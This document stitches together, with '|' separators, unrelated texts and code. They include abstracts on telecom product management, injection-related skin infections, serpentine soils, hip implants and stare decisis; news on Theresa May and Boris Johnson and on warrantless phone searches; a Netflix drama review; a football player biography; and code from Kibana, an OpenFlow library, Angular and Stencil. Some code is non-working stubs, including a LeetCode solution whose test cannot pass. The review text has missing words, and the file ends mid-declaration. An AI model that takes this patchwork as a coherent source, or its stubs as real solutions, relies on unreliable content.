Integrated PLM-process-approach for the development and management of telecommunications products in a multi-lifecycle environment Products in the telecommunications industry consist of several modules that in sum create the customer benefit (e.g., Multi-Play products). Each module embodies its own lifecycle, which implies an additional product complexity in terms of module design, module management and module removal from the product. The authors provide reasons why the holistic view on the product lifecycle management is critical for an efficient PLM, and present a new approach for PLM-Processs Management in a multi-lifecycle environment The paper closes with the presentation of a short case study validating the proposed process design for a company in the telecommunications industry. |
Theresa May told Boris Johnson she had no intention of stepping aside to help resolve the Brexit impasse at a high-stakes meeting earlier this week with the man seen as the favourite to replace her.
In the meeting, the former foreign secretary, who remains opposed to May’s Brexit deal, demanded to know how the prime minister would change approach, which was interpreted as a coded message that he believed she should quit.
May responded by saying she was drawing up plans in case her Brexit deal was carried through by the House of Commons, including a “restructuring” of the Department for Exiting the European Union, signalling she anticipated staying put.
The meeting took place in Downing Street on Tuesday, but when Johnson emerged, he was uncharacteristically silent as reporters asked questions. Since then, several informed accounts have begun circulating at Westminster.
According to one source, May even indicated she would, if necessary, be prepared to lead the Conservative party and fight a general election if one took place before 2022 – the date she has given for when she is prepared to stand down.
Neither side offered any concessions in an effort to break the deadlock, according to more than one account, partly due to concerns that if either were to show any willingness to compromise, it would leak.
“No deal between them was done, and there was no talk of a deal,” said a person who had heard an account of the meeting. A second person said it was safe to conclude the two “weren’t in complete agreement”.
Johnson’s opposition to May’s Brexit deal is well known and the man who hopes to become the next prime minister has made it clear he has no intention of changing his mind if May puts the plan to a vote for a third time next week.
In his Daily Telegraph column last week, Johnson said he had consulted his constituents over whether he should compromise and support May’s deal “that I believe is detrimental to the interests of this country”.
Other senior Conservatives have begun telling May to her face that she should stand down. Graham Brady, the chairman of the 1922 Committee of Tory backbenchers, saw her on Monday and said a growing number of MPs believed she had to go.
Ben Bradley, the MP for Mansfield, said that he could not see how May could carry on as prime minister if her Brexit deal were voted down for a third time next week, suggesting he believed her time in Downing Street was running out.
Bradley said he was undecided whether to support May’s deal next week, despite having decided to vote for it the second time around after voting against it the first time in January.
“As it stands, and it seems that extension, delay and indicative votes are all on the table and no deal is also on the table, then I think she will lose by more,” Bradley said.
A spokesperson for Johnson said he would not comment on private conversations.
The two Conservatives had a further meeting on Friday, as May tried again to get Johnson to support her Brexit deal, although it is not clear much progress was made on either side.
May survived a vote of no confidence in her Tory leadership in December and cannot under party rules be challenged for 12 months after that date, making it difficult for her to be ousted unless there is a widespread, open revolt against her. |
Perceived Behavioral Control and Barriers to Cleaning Skin Before Injecting Drugs. OBJECTIVES Skin and soft-tissue infections (SSTI) among people who inject drugs (PWID) are common and represent a significant public health burden. In the current study, we examined the relationship between perceived behavioral control and perceived barriers to cleaning skin before injecting drugs. METHODS Participants (n=248; 37.9 years of age, 58.5% male, 59.3% white, 16.1% Hispanic) were patients seeking medical care at a large urban hospital in the northeastern United States. We used ordinary least squares regression to estimate the associations between perceived barriers to skin cleaning with background characteristics and perceived behavioral control. RESULTS Controlling for background and other study variables, greater number of past-year skin abscesses was associated with greater level of perceived barriers to skin cleaning (P<0.001), whereas higher level of education and higher perceived behavioral control were associated with lower levels of perceived barriers to skin cleaning (P<0.001). CONCLUSIONS Interventions aiming to reduce the likelihood for SSTI among people who inject drugs may benefit from strengthening individual's behavioral control and providing skin cleaning skills training. |
<reponame>gorogoroumaru/kibana
/*
* Licensed to Elasticsearch B.V. under one or more contributor
* license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright
* ownership. Elasticsearch B.V. licenses this file to you under
* the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
import { schema } from '@kbn/config-schema';
import { LogRecord, Layout, DisposableAppender } from '@kbn/logging';
import { createWriteStream, WriteStream } from 'fs';
import { Layouts, LayoutConfigType } from '../../layouts/layouts';
export interface FileAppenderConfig {
kind: 'file';
layout: LayoutConfigType;
path: string;
}
/**
* Appender that formats all the `LogRecord` instances it receives and writes them to the specified file.
* @internal
*/
export class FileAppender implements DisposableAppender {
public static configSchema = schema.object({
kind: schema.literal('file'),
layout: Layouts.configSchema,
path: schema.string(),
});
/**
* Writable file stream to write formatted `LogRecord` to.
*/
private outputStream?: WriteStream;
/**
* Creates FileAppender instance with specified layout and file path.
* @param layout Instance of `Layout` sub-class responsible for `LogRecord` formatting.
* @param path Path to the file where log records should be stored.
*/
constructor(private readonly layout: Layout, private readonly path: string) {}
/**
* Formats specified `record` and writes them to the specified file.
* @param record `LogRecord` instance to be logged.
*/
public append(record: LogRecord) {
if (this.outputStream === undefined) {
this.outputStream = createWriteStream(this.path, {
encoding: 'utf8',
flags: 'a',
});
}
this.outputStream.write(`${this.layout.format(record)}\n`);
}
/**
* Disposes `FileAppender`. Waits for the underlying file stream to be completely flushed and closed.
*/
public async dispose() {
await new Promise((resolve) => {
if (this.outputStream === undefined) {
return resolve();
}
this.outputStream.end(undefined, undefined, () => {
this.outputStream = undefined;
resolve();
});
});
}
}
|
/**
* shortest path with alternating colors
* <p>
* leetcode No.1129
*
* @author leleact
* @since 2021-06-08
*/
@Slf4j
class ShortestPathWithAlternatingColorsTest {
@Test
void solutionTest() {
int[][] redEdges = {{0, 1}, {1, 2}};
int[][] blueEdges = {};
int n = 3;
int[] answer = shortestAlternatingPaths(n, redEdges, blueEdges);
Assertions.assertArrayEquals(new int[]{
0, 1, -1
}, answer);
log.info("answer: {}", answer);
}
public int[] shortestAlternatingPaths(int n, int[][] red_edges, int[][] blue_edges) {
int[] result = new int[n];
result[0] = 0;
int i;
for (i = 1; i < n; i++) {
}
return result;
}
} |
def table_input(name: str, label: str, subparameters: list[Any], **kwargs: Any) -> dict[str, Any]:
values = {'name': name, 'label': label, 'type': "TABLE", 'subParameters': subparameters}
values.update(kwargs)
return values |
import argparse
import torch as t
from trainer import MNISTTrainer
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='PyTorch Implementation of a GAN')
"""
Training Hyperparameters
"""
parser.add_argument('--epochs', type=int, default=300,
help='number of epochs to train for (default: 300)')
parser.add_argument('--lr', type=float, default=1e-4,
help='learning rate for optimizer (default: 1e-4)')
parser.add_argument('--batch-size', type=int, default=32,
help='number of examples in a batch (default: 32)')
parser.add_argument('--device', type=int, default=t.device("cuda:0" if t.cuda.is_available() else "cpu"),
help='device to train on (default: cuda:0 if cuda is available otherwise cpu)')
"""
Model Hyperparameters
"""
parser.add_argument('--latent-size', type=int, default=64,
help='size of latent space vectors (default: 64)')
parser.add_argument('--g-hidden-size', type=int, default=256,
help='number of hidden units per layer in G (default: 256)')
parser.add_argument('--d-hidden-size', type=int, default=256,
help='number of hidden units per layer in D (default: 256)')
# Parse and Train!
args = parser.parse_args()
trainer = MNISTTrainer(args)
trainer.train()
|
Serpentine Geoecology of the Eastern and Southeastern Margins of North America Abstract Most of the ultramafic rocks from Newfoundland to Alabama, inland from the Atlantic Ocean, and from Arkansas to Texas, inland from the Gulf of Mexico, are peridotites and serpentinites derived from the mantle in oceanic or magmatic-arc settings. They were accreted to a precursor of the North American continent more than 0.25 Ga ago. The serpentine soils range from very cold Entisols and Histosols in Newfoundland and Quebec to cold or cool Inceptisols southward to the limit of late Pleistocene glaciation about latitude 41°N. They are warm to hot Alfisols in the unglaciated areas from New Jersey south to Alabama, with some Mollisols in the Blue Ridge Mountains. Mollisols are the dominant serpentine soils in the drier Llano uplift of Texas. The woody vegetation on the serpentine soils is relatively sparse or stunted, or both. Many of the plant species grow mainly or only on serpentine soils, and some that are common on other soils do not grow on serpentine soils. Some of the species are circumpolar and are common on serpentine soils in both eastern and western North America, and some have distributions that are disjunct from populations on nonserpentine soils of midcontinental prairies. The most distinctive features of serpentine soils are low exchangeable Ca/Mg ratios and high first-transition element concentrations from Cr through Mn, Fe, and Co to Ni. Although some of the serpentine plants have relatively high Ni contents that are toxic to some plants, it is mostly the low Ca/Mg ratios that are responsible for the unique plant assemblages on serpentine soils. The serpentine soils have soil organic matter contents comparable to those of nonserpentine soils. |
def split(url: str) -> urllib.parse.SplitResult:
return urllib.parse.urlsplit(url) |
"""Flow instructions to be executed.
The flow instructions associated with a flow table entry are executed when a
flow matches the entry.
"""
# System imports
from enum import IntEnum
# Local source tree imports
from pyof.foundation.base import GenericStruct
from pyof.foundation.basic_types import (
FixedTypeList, Pad, UBInt8, UBInt16, UBInt32, UBInt64)
from pyof.foundation.exceptions import PackException
from pyof.v0x04.common.action import ListOfActions
from pyof.v0x04.controller2switch.meter_mod import Meter
# Third-party imports
__all__ = ('InstructionApplyAction', 'InstructionClearAction',
'InstructionGotoTable', 'InstructionMeter', 'InstructionType',
'InstructionWriteAction', 'InstructionWriteMetadata',
'ListOfInstruction')
# Enums
class InstructionType(IntEnum):
"""List of instructions that are currently defined."""
#: Setup the next table in the lookup pipeline
OFPIT_GOTO_TABLE = 1
#: Setup the metadata field for use later in pipeline
OFPIT_WRITE_METADATA = 2
#: Write the action(s) onto the datapath action set
OFPIT_WRITE_ACTIONS = 3
#: Applies the action(s) immediately
OFPIT_APPLY_ACTIONS = 4
#: Clears all actions from the datapath action set
OFPIT_CLEAR_ACTIONS = 5
#: Apply meter (rate limiter)
OFPIT_METER = 6
#: Experimenter instruction
OFPIT_EXPERIMENTER = 0xFFFF
def find_class(self):
"""Return a class related with this type."""
classes = {1: InstructionGotoTable, 2: InstructionWriteMetadata,
3: InstructionWriteAction, 4: InstructionApplyAction,
5: InstructionClearAction, 6: InstructionMeter}
return classes.get(self.value, None)
# Classes
class Instruction(GenericStruct):
"""Generic Instruction class.
This class represents a Generic Instruction that can be instanciated as
'InstructionApplyAction', 'InstructionClearAction', 'InstructionGotoTable',
'InstructionMeter', 'InstructionWriteAction', 'InstructionWriteMetadata'.
"""
instruction_type = UBInt16(enum_ref=InstructionType)
length = UBInt16()
def __init__(self, instruction_type=None):
"""Create a Instruction with the optional parameters below.
Args:
instruction_type(InstructionType): Type of instruction.
"""
super().__init__()
self.instruction_type = instruction_type
def pack(self, value=None):
"""Update the length and pack the massege into binary data.
Returns:
bytes: A binary data that represents the Message.
Raises:
Exception: If there are validation errors.
"""
if value is None:
self.update_length()
return super().pack()
if isinstance(value, type(self)):
return value.pack()
msg = "{} is not an instance of {}".format(value, type(self).__name__)
raise PackException(msg)
def update_length(self):
"""Update length attribute."""
self.length = self.get_size()
def unpack(self, buff=None, offset=0):
"""Unpack *buff* into this object.
This method will convert a binary data into a readable value according
to the attribute format.
Args:
buff (bytes): Binary buffer.
offset (int): Where to begin unpacking.
Raises:
:exc:`~.exceptions.UnpackException`: If unpack fails.
"""
instruction_type = UBInt16(enum_ref=InstructionType)
instruction_type.unpack(buff, offset)
self.__class__ = InstructionType(instruction_type.value).find_class()
length = UBInt16()
length.unpack(buff, offset=offset+2)
super().unpack(buff[:offset+length.value], offset)
class InstructionApplyAction(Instruction):
"""Instruction structure for OFPIT_APPLY_ACTIONS.
The :attr:`~actions` field is treated as a list, and the actions are
applied to the packet in-order.
"""
#: Align to 64-bits
pad = Pad(4)
#: Actions associated with OFPIT_APPLY_ACTIONS
actions = ListOfActions()
def __init__(self, actions=None):
"""Create a InstructionApplyAction with the optional parameters below.
Args:
actions (:class:`~.actions.ListOfActions`):
Actions associated with OFPIT_APPLY_ACTIONS.
"""
super().__init__(InstructionType.OFPIT_APPLY_ACTIONS)
self.actions = actions if actions else []
class InstructionClearAction(Instruction):
"""Instruction structure for OFPIT_CLEAR_ACTIONS.
This structure does not contain any actions.
"""
#: Align to 64-bits
pad = Pad(4)
#: OFPIT_CLEAR_ACTIONS does not have any action on the list of actions.
actions = ListOfActions()
def __init__(self, actions=None):
"""Create a InstructionClearAction with the optional parameters below.
Args:
actions (:class:`~.actions.ListOfActions`):
Actions associated with OFPIT_CLEAR_ACTIONS.
"""
super().__init__(InstructionType.OFPIT_CLEAR_ACTIONS)
self.actions = actions if actions else []
class InstructionGotoTable(Instruction):
"""Instruction structure for OFPIT_GOTO_TABLE."""
#: Set next table in the lookup pipeline.
table_id = UBInt8()
#: Pad to 64 bits.
pad = Pad(3)
def __init__(self, table_id=Meter.OFPM_ALL):
"""Create a InstructionGotoTable with the optional parameters below.
Args:
length (int): Length of this struct in bytes.
table_id (int): set next table in the lookup pipeline.
"""
super().__init__(InstructionType.OFPIT_GOTO_TABLE)
self.table_id = table_id
class InstructionMeter(Instruction):
"""Instruction structure for OFPIT_METER.
meter_id indicates which meter to apply on the packet.
"""
#: Meter instance.
meter_id = UBInt32()
def __init__(self, meter_id=Meter.OFPM_ALL):
"""Create a InstructionMeter with the optional parameters below.
Args:
meter_id (int): Meter instance.
"""
super().__init__(InstructionType.OFPIT_METER)
self.meter_id = meter_id
class InstructionWriteAction(Instruction):
"""Instruction structure for OFPIT_WRITE_ACTIONS.
The actions field must be treated as a SET, so the actions are not
repeated.
"""
#: Align to 64-bits
pad = Pad(4)
#: Actions associated with OFPIT_WRITE_ACTIONS
actions = ListOfActions()
def __init__(self, actions=None):
"""Create a InstructionWriteAction with the optional parameters below.
Args:
actions (:class:`~.actions.ListOfActions`):
Actions associated with OFPIT_WRITE_ACTIONS.
"""
super().__init__(InstructionType.OFPIT_WRITE_ACTIONS)
self.actions = actions if actions else []
class InstructionWriteMetadata(Instruction):
"""Instruction structure for OFPIT_WRITE_METADATA."""
#: Align to 64-bits
pad = Pad(4)
#: Metadata value to write
metadata = UBInt64()
#: Metadata write bitmask
metadata_mask = UBInt64()
def __init__(self, metadata=0, metadata_mask=0):
"""Create InstructionWriteMetadata with the optional parameters below.
Args:
metadata (int): Metadata value to write.
metadata_mask (int): Metadata write bitmask.
"""
super().__init__(InstructionType.OFPIT_WRITE_METADATA)
self.metadata = metadata
self.metadata_mask = metadata_mask
class ListOfInstruction(FixedTypeList):
"""List of Instructions.
Represented by instances of Instruction.
"""
def __init__(self, items=None):
"""Create ListOfInstruction with the optional parameters below.
Args:
items (:class:`~pyof.v0x04.common.flow_instructions.Instruction`):
Instance or a list of instances.
"""
super().__init__(pyof_class=Instruction, items=items)
|
def dictionary(_object, *args):
error_msg = 'not of type dictionary'
if is_callable(_object):
_validator = _object
@wraps(_validator)
def decorated(value):
ensure(isinstance(value, dict), error_msg)
return _validator(value)
return decorated
try:
ensure(isinstance(_object, dict), error_msg)
except AssertionError:
if args:
msg = 'did not pass validation against callable: dictionary'
raise Invalid('', msg=msg, reason=error_msg, *args)
raise |
The US Supreme Court is debating two cases today that may decide whether or not the cops can search people’s mobile phones without a warrant.
Defendants in two different cases, David Riley and Brima Wurie, are arguing that their convictions should be overturned because evidence from their phones was taken and used in court despite the fact that the mobile devices were searched without a warrant.
As it stands, police are only supposed to be able to search for items as they make an arrest for two reasons: officer safety or the need to gather evidence that could be disposed of easily. This has allowed cops to look through wallets, address books and other personal items.
But privacy advocates and criminal defence lawyers supporting Wurie and Riley have said that mobile phone data is not a safety risk and can easily be saved. They argue that because phones contain additional personal information like photos, videos and social media information, they shouldn’t be searched without a warrant.
"Allowing police officers to search a person's cell phone without a warrant following an arrest would be a substantial infringement on privacy, is unnecessary, and unreasonable under the Fourth Amendment," the Electronic Privacy Information Centre wrote in a brief to the court.
Lawyers for the US government have told the court that searching a mobile phone is no different to other warrantless searches of items on a person at the time of their arrest. They also argue that some information on phones is deleted after a certain time period or could be deleted remotely, so it’s vulnerable to being discarded.
"While technology has increased the amount of information an individual may practically choose to carry, neither the form nor the volume of the information at issue here provides a sound basis for redrawing clearly established Fourth Amendment lines," Kamala Harris, the attorney general for California, said in court papers.
The cases at hand have had different outcomes. In the Riley case, the defendant was convicted of three charges over an incident in 2009 where shots were fired at an occupied car. Police linked Riley to the crime partly because of a photograph on his smartphone that showed him posing in front of a similar vehicle. Riley’s conviction was upheld by an appeals court in California.
An appeals court in Boston overturned Wurie’s conviction for drugs and firearms charges however, ruling that police should not have searched Wurie’s phone without a warrant. In a major difference between the cases, Wurie’s mobe was not a smartphone and was only used to find a phone number.
The Supreme Court will need to decide whether the Fourth Amendment, which forbids unreasonable searches, requires police to get a court’s approval for mobile phone searches. The nine-judge ruling is expected by the end of June. ® |
/**
* Set axis of triggered motion detect interrupt from CNTL2
* @param cnltl2_tilt_mask Orred e_axis values for axes directions to cause interrupt
* @return true on error or setup mode off
*/
bool KX123::set_tilt_axis_mask(uint8_t cnltl2_tilt_mask){
if (setup_mode_on == false) return true;
return write_register(_sad, KX122_CNTL2, (cnltl2_tilt_mask & KX123_AXIS_MASK) );
} |
/**
* save timeline comment
* @param timelineComment
* @return
* @throws SQLIntegrityConstraintViolationException
*/
@Override
public TimelineComment save(final TimelineComment timelineComment)
throws SQLIntegrityConstraintViolationException, Exception {
List<TimelineComment> likes = getTimelineCommentsByTimelineIdAndUserId(
timelineComment.getTimelineId(),
timelineComment.getUserId(), "like");
if (likes.size() > 0) {
throw new Exception("You have liked the post");
}
int id = timelineCommentRepository.insert(timelineComment);
return getTimelineCommentById(id);
} |
While it seems logical that Netflix will debut a few clunkers once it kicks its original programming into high gear, the most recent release, Bloodline , is proof that we’re barely scratching the surface of how amazing the service’s series can be. Some will disagree, but I foundto be the best drama that Netflix has delivered thus far, easily topping the soapy dark politics of House of Cards and the fractured dramedy of Orange is the New Black Even though it’s mildly difficult to cull together all of my gushing praise into concise sentences, here are five reasons whyis the greatest of Netflix’s current dramas. (And “Because it’s nothing likeisn’t one of them, but it certainly could have been.) I’ll be keeping things spoiler-free as well, so don’t worry about major plot points dropping.Created by the Damages trio of Glenn Kessler, Todd A. Kessler and Daniel Zelman,is basically about a large well-to-do family whose lives change drastically once the oldest sibling, played by the always incredible Ben Mendelsohn, returns home after years of being the disregarded black sheep to everyone but the matriarch. But how did he become that way? How does the rest of the family feel about having him back, and how does it affect their own stories? And what’s with those dead bodies?will answer those questions and many more, but only when it wants to, making sure you never quite know what you’re watching.I already mentioned Mendelsohn, who is excellent as the hard-lucked Danny Rayburn, but he’s the tip of a massive iceberg of talent. The elder Rayburns, the moody Robert and graceful Sally, are played by Sam Shepard and Sissy Spacek, respectively. Kyle Chandler plays the emotionally repressed Detective John Rayburn, Norbert Leo Butz plays the emotional tempest Kevin Rayburn, and Linda Cardellini plays the romantically distraught lawyer Meg Rayburn. Extended family includes Jacinda Barrett as John’s wife Diana, Katie Finneran as Kevin’s wife Belle, and Enrique Murciano as Meg’s longtime boyfriend Marco. Then we have Jamie McShane and Chloë Sevigny as Danny’s sibling friends Eric and Chelsea O’Bannon. And everyone else who gets screentime? They’re great as well. The Emmys definitely need to be paying attention here.Okay, so maybe not everyone can relate to having wealthy parents who run a gorgeous beachside inn, but we are all familiar with financial jumbles, marital snags, sibling rivalries, and the urge to find oneself in a positive light in a parent’s eyes. The Rayburns aren’t a family that argues for an argument’s sake; they’re a family with a tragic history that not all parties have accepted with the same amount of sincerity, and dishonesty is used like currency. If the ties that bind are the strongest, it’s the ones that have been frayed beyond repair that become the most interesting.A huge part of whyis so watchable is due to the way plot points and character motivations are teased out in ways that aren’t immediately obvious. Characters will get caught up in a memory during a scene, and it will be episodes later when you realize the significance of earlier scenes. And though there are moments where laughter is welcome, this is a series that doesn’t stray far from its dark and slithering narrative. And it would much rather keep you thinking rather than knock you backwards with gaudy shocks and twists.Even ifutilized a group of nameless directors – and this is a talented squad, fear not – it would be impossible for anyone to make this Florida Keys location look anything less than amazing. Even when the plot is playing up the dangers and other downsides of living on the coast, everything always looks crisp and gorgeous, althoughits muted color scheme doesn’t make it pop as much asdoes. Add to that the way that the “waking dream sequences” (for lack of a better phrase) are handled, and you’ve got a series where the aesthetic is just as structured and dependable as the characters, performances and screenwriting. |
Darius Jackson
Early years
Jackson attended Sparta High School in Sparta, Illinois. He was a two-way football player as a senior, registering almost 1,100 rushing yards, while playing quarterback, running back and safety. He received All-conference honors on both sides of the ball and was an Academic All-state selection. He also practiced baseball.
College career
He accepted a football scholarship from Eastern Michigan University. As a sophomore, he appeared in seven games (one start) and had 201 rushing yards. The next year, he appeared in all 12 games (4 starts), posting 295 rushing yards.
As a senior, he became a full-time starter and had a break out year, rushing for 1,078 yards on 208 carries (5.2 avg.), 14 rushing touchdowns, 21 receptions for 201 yards, two receiving touchdowns and 16 total touchdowns (school record).
Dallas Cowboys
Jackson was selected by the Dallas Cowboys in the sixth round (216th overall) of the 2016 NFL Draft, in part because of the athletic traits he displayed during his pro day. He made the Cowboys 53-man roster, in order to protect his rights from being claimed by another team and was declared inactive in 14 games. On December 13, he was waived to make room for running back Darren McFadden, who was being activated from the Non Football Injury List.
Cleveland Browns
On December 14, 2016, Jackson was claimed off waivers by the Cleveland Browns. He was declared inactive for the remaining three games.
On June 1, 2017, Jackson was waived/injured with an undisclosed knee injury that forced him to miss organized team activities. He cleared waivers and was placed on the injured reserve list on June 2.
On May 3, 2018, Jackson was waived by the Browns.
Dallas Cowboys (second stint)
On May 30, 2018, Jackson signed with the Dallas Cowboys. On September 1, 2018, he was waived by the Cowboys and was signed to the practice squad the next day.
Green Bay Packers
On September 3, 2018, Jackson was signed by the Green Bay Packers from the Cowboys' practice squad, as the team was looking for a third running back, with Aaron Jones suspended for the first two games, and Devante Mays being released with an injury settlement. He was waived on October 6, 2018.
Dallas Cowboys (third stint)
On October 9, 2018, Jackson was signed to the Dallas Cowboys practice squad. He was promoted to the active roster on December 22, 2018. Overall, in the 2018 season, he had six carries for 16 yards, all of which came in the regular season finale against the New York Giants.
On August 30, 2019, Jackson was released by the Cowboys, then re-signed to the practice squad on September 11. He was released on September 16.
Indianapolis Colts
On September 20, 2019, Jackson was signed to the Indianapolis Colts practice squad, but was released four days later.
Tampa Bay Buccaneers
On October 9, 2019, Jackson was signed to the Tampa Bay Buccaneers practice squad. He was released on October 15. |
import { NgModule } from "@angular/core";
import { HttpClientModule, HttpClient } from "@angular/common/http";
import { AppComponent } from "./app.component";
import {
TranslateModule,
TranslateLoader,
TranslateService
} from "@ngx-translate/core";
import { TranslateHttpLoader } from "@ngx-translate/http-loader";
import {
LocalizeRouterModule,
LocalizeParser,
LocalizeRouterSettings,
ManualParserLoader
} from "localize-router";
import { Location } from "@angular/common";
import { CanActivateViaAuthGuard } from "./modules/auth/auth-guard/auth.guard";
import { CoreModule } from "./core/core.module";
import { BrowserModule } from "@angular/platform-browser";
import { routes } from "./app.routing";
import { RouterModule } from "@angular/router";
import { CanActivateLoginGuard } from "./modules/auth/auth-guard/login-guard";
import { CanActivateAdminGuard } from "./modules/auth/auth-guard/adminAuth.guard";
import { OffersComponent } from './modules/offers/offers.component';
import { MAT_DATE_LOCALE } from '@angular/material';
// AoT requires an exported function for factories
export function HttpLoaderFactory(httpClient: HttpClient) {
return new TranslateHttpLoader(httpClient, "./assets/locales/", ".json");
}
@NgModule({
imports: [
BrowserModule,
CoreModule,
HttpClientModule,
TranslateModule.forRoot({
loader: {
provide: TranslateLoader,
useFactory: HttpLoaderFactory,
deps: [HttpClient]
}
}),
LocalizeRouterModule.forRoot(routes, {
parser: {
provide: LocalizeParser,
useFactory: (translate, location, settings) =>
new ManualParserLoader(
translate,
location,
settings,
["ar"],
""
),
deps: [TranslateService, Location, LocalizeRouterSettings]
}
}),
RouterModule.forRoot(routes) // <------
],
exports: [],
declarations: [AppComponent],
providers: [
{ provide: MAT_DATE_LOCALE, useValue: 'en-GB' },
CanActivateViaAuthGuard,
CanActivateLoginGuard,
CanActivateAdminGuard
],
bootstrap: [AppComponent]
})
export class AppModule { }
|
First implant acetabular components: historical aspects, a comparison of models and a review of the literature. The article describes the features of the most commonly-used acetabular components in first implants in light of development in construction as regards intrinsic features, materials used, biological behavior, and design. The following versions are examined: screwable cone-shaped trunk, cemented polyethylene, cemented metal-back, HA-coated press-fit, expansion, dysplastic hip, and anti-dislocating components. The screwable cone-shaped trunk acetabular component takes hold in the acetabular bone through torsion and compression, and threading provides greater stability as compared to equivalent models that have wings or screws. Cemented polyethylene acetabular components are characterized by low costs and good results, on the condition that some specific parameters are respected (the presence of a dry bone bed, pressurization of the cement, use in elderly patients who do very little physical activity). Cemented metal-back acetabular components have features similar to polyethylene components, from which they differ because of the possibility of being able to substitute the internal polyethylene component without having to revision the entire acetabulum. HA-coated press-fit components have solved the problems encountered in cemented versions, such as loosening and the generation of polyethylene particulate, at the same time obtaining excellent osteo-integration. The expansion cup self-stabilizes thanks to a memory effect due to the contraction-relaxation mechanism with which it is lodged, adapting to the micro-movements of the acetabulum. Components used in the dysplastic hip are particular versions with a reduced diameter that have specific hooks that provide stabilization, capable of settling in the pathologic bone with minimum reaming of the same. Anti-dislocation cups are special models that have bipolar inserts or a ring (plastic or metal) that blocks the head in the prosthetic acetabulum, obstructing its dislocation. |
Stare DecisisRhetoric and Reality in the Supreme Court To an increasing degree, Supreme Court justices have been explicitly invoking the alleged constraints of stare decisis, especially by way of criticizing justices thought to be ignoring those constraints. But this accelerating use of stare decisis as a rhetorical weapon is at odds with what the data show about the frequency with which stare decisis actually operates as a genuine constraint on Supreme Court decision-making. It is thus not surprising that justices who criticize other justices for ignoring stare decisis are justices who themselves rarely if ever subject their own first-order outcome preferences to the demands of stare decisis. In the final analysis, stare decisis, perhaps unfortunately, serves far more of a rhetorical function than a decision-guiding or decision-constraining one, at least recently, and at least in the Supreme Court. |
package org.leetcode.graph;
/**
* TODO
*/
public class CourseScheduleIII_630 {
public static void main(String[] args) {
}
public int scheduleCourse(int[][] courses) {
return -1;
}
}
|
<reponame>growthengineering/ionic-super-tabs<filename>core/src/components.d.ts
/* eslint-disable */
/* tslint:disable */
/**
* This is an autogenerated file created by the Stencil compiler.
* It contains typing information for all components that exist in this project.
*/
import { HTMLStencilElement, JSXBase } from "@stencil/core/internal";
import { SuperTabChangeEventDetail, SuperTabsConfig } from "./interface";
export namespace Components {
interface SuperTab {
/**
* Returns the root scrollable element
*/
"getRootScrollableEl": () => Promise<HTMLElement | null>;
"loaded": boolean;
/**
* Set this to true to prevent vertical scrolling of this tab. Defaults to `false`. This property will automatically be set to true if there is a direct child element of `ion-content`. To override this behaviour make sure to explicitly set this property to `false`.
*/
"noScroll": boolean;
"visible": boolean;
}
interface SuperTabButton {
"active"?: boolean;
/**
* Whether the button is disabled
*/
"disabled"?: boolean;
"index"?: number;
"scrollableContainer": boolean;
}
interface SuperTabIndicator {
/**
* Toolbar position This determines the position of the indicator
*/
"toolbarPosition": 'top' | 'bottom';
}
interface SuperTabs {
/**
* Initial active tab index. Defaults to `0`.
* @type {number}
*/
"activeTabIndex": number;
/**
* Global Super Tabs configuration. This is the only place you need to configure the components. Any changes to this input will propagate to child components.
* @type {SuperTabsConfig}
*/
"config"?: SuperTabsConfig;
/**
* Set the selected tab. This will move the container and the toolbar to the selected tab.
* @param index the index of the tab you want to select
* @param animate whether you want to animate the transition
* @param emit whether you want to emit tab change event
*/
"selectTab": (index: number, animate?: boolean, emit?: boolean) => Promise<void>;
/**
* Set/update the configuration
* @param config Configuration object
*/
"setConfig": (config: SuperTabsConfig) => Promise<void>;
}
interface SuperTabsContainer {
/**
* Set to true to automatically scroll to the top of the tab when the button is clicked while the tab is already selected.
*/
"autoScrollTop": boolean;
"config"?: SuperTabsConfig;
/**
* @param scrollX
* @param animate
*/
"moveContainer": (scrollX: number, animate?: boolean | undefined) => Promise<void>;
/**
* @param index Index of the tab
* @param animate Whether to animate the transition
*/
"moveContainerByIndex": (index: number, animate?: boolean | undefined) => Promise<void>;
"reindexTabs": () => Promise<void>;
/**
* Scroll the active tab to the top.
*/
"scrollToTop": () => Promise<void>;
"setActiveTabIndex": (index: number, moveContainer?: boolean, animate?: boolean) => Promise<void>;
/**
* Enable/disable swiping
*/
"swipeEnabled": boolean;
}
interface SuperTabsToolbar {
/**
* Background color. Defaults to `'primary'`
*/
"color": string | undefined;
"config"?: SuperTabsConfig;
"moveContainer": (scrollX: number, animate?: boolean | undefined) => Promise<void>;
/**
* Whether the toolbar is scrollable. Defaults to `false`.
*/
"scrollable": boolean;
/**
* If scrollable is set to true, there will be an added padding to the left of the buttons. Setting this property to false will remove that padding. The padding is also configurable via a CSS variable.
*/
"scrollablePadding": boolean;
"setActiveTab": (index: number, align?: boolean | undefined, animate?: boolean | undefined) => Promise<void>;
"setSelectedTab": (index: number, animate?: boolean | undefined) => Promise<void>;
/**
* Whether to show the indicator. Defaults to `true`
*/
"showIndicator": boolean;
}
}
declare global {
interface HTMLSuperTabElement extends Components.SuperTab, HTMLStencilElement {
}
var HTMLSuperTabElement: {
prototype: HTMLSuperTabElement;
new (): HTMLSuperTabElement;
};
interface HTMLSuperTabButtonElement extends Components.SuperTabButton, HTMLStencilElement {
}
var HTMLSuperTabButtonElement: {
prototype: HTMLSuperTabButtonElement;
new (): HTMLSuperTabButtonElement;
};
interface HTMLSuperTabIndicatorElement extends Components.SuperTabIndicator, HTMLStencilElement {
}
var HTMLSuperTabIndicatorElement: {
prototype: HTMLSuperTabIndicatorElement;
new (): HTMLSuperTabIndicatorElement;
};
interface HTMLSuperTabsElement extends Components.SuperTabs, HTMLStencilElement {
}
var HTMLSuperTabsElement: {
prototype: HTMLSuperTabsElement;
new (): HTMLSuperTabsElement;
};
interface HTMLSuperTabsContainerElement extends Components.SuperTabsContainer, HTMLStencilElement {
}
var HTMLSuperTabsContainerElement: {
prototype: HTMLSuperTabsContainerElement;
new (): HTMLSuperTabsContainerElement;
};
interface HTMLSuperTabsToolbarElement extends Components.SuperTabsToolbar, HTMLStencilElement {
}
var HTMLSuperTabsToolbarElement: {
prototype: HTMLSuperTabsToolbarElement;
new (): HTMLSuperTabsToolbarElement;
};
interface HTMLElementTagNameMap {
